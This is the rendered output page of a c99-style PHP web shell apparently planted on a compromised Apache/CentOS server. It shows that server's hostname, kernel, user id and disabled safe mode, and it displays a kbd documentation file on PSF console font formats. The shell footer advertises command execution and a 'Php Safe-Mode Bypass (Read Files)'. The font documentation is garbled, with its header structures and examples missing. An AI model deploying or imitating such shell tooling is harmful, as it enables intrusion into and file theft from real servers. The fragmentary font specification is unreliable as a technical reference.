Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/kbd-1.12/ drwxr-xr-x |
Viewing file: font-formats-1.html (5.35 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | 1. PSF fontsPSF fonts come in two types: old (psf1) and new (psf2). A PSF font consists of (1) The header, (2) The font, (3) Unicode information.
1.1 The headerFor psf1 this is
For psf2 this is
The meaning is fairly clear from the field names.
The fonts here are bitmap fonts (not, for example, vector fonts),
and each glyph has a For psf1 the width is constant 8, so that the height equals the charsize. The number of glyphs in the font equals The font is followed by a table associating Unicode values with each
glyph in case (for psf1) the The starting offset of the bitmaps in the font file is given by
The integers in the psf2 header struct are little endian 4-byte integers.
1.2 The fontThe actual bitmaps.
1.3 Unicode informationThe bitmaps may be followed by a Unicode description of the glyphs. This Unicode description of a position has grammar
where <uc> is a 2-byte little endian Unicode value (psf1),
or a Unicode value coded in UTF-8 (psf2),
and * denotes zero or more occurrences of the preceding item.
The semantics is as follows.
The leading Example: At the font position for a capital A-ring glyph, we may have (psf1):
where the Unicode values here are
LATIN CAPITAL LETTER A WITH RING ABOVE
and
ANGSTROM SIGN
and
LATIN CAPITAL LETTER A
and
COMBINING RING ABOVE.
Some font positions may be described by sequences only,
namely when there is no precomposed Unicode value for the glyph.
1.4 HistoricalPSF stands for PC Screen Font.
The psf1 format without Unicode map was designed by
H. Peter Anvin in 1989 or so for his DOS screen font editor
Next Previous Contents |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0091 ]-- |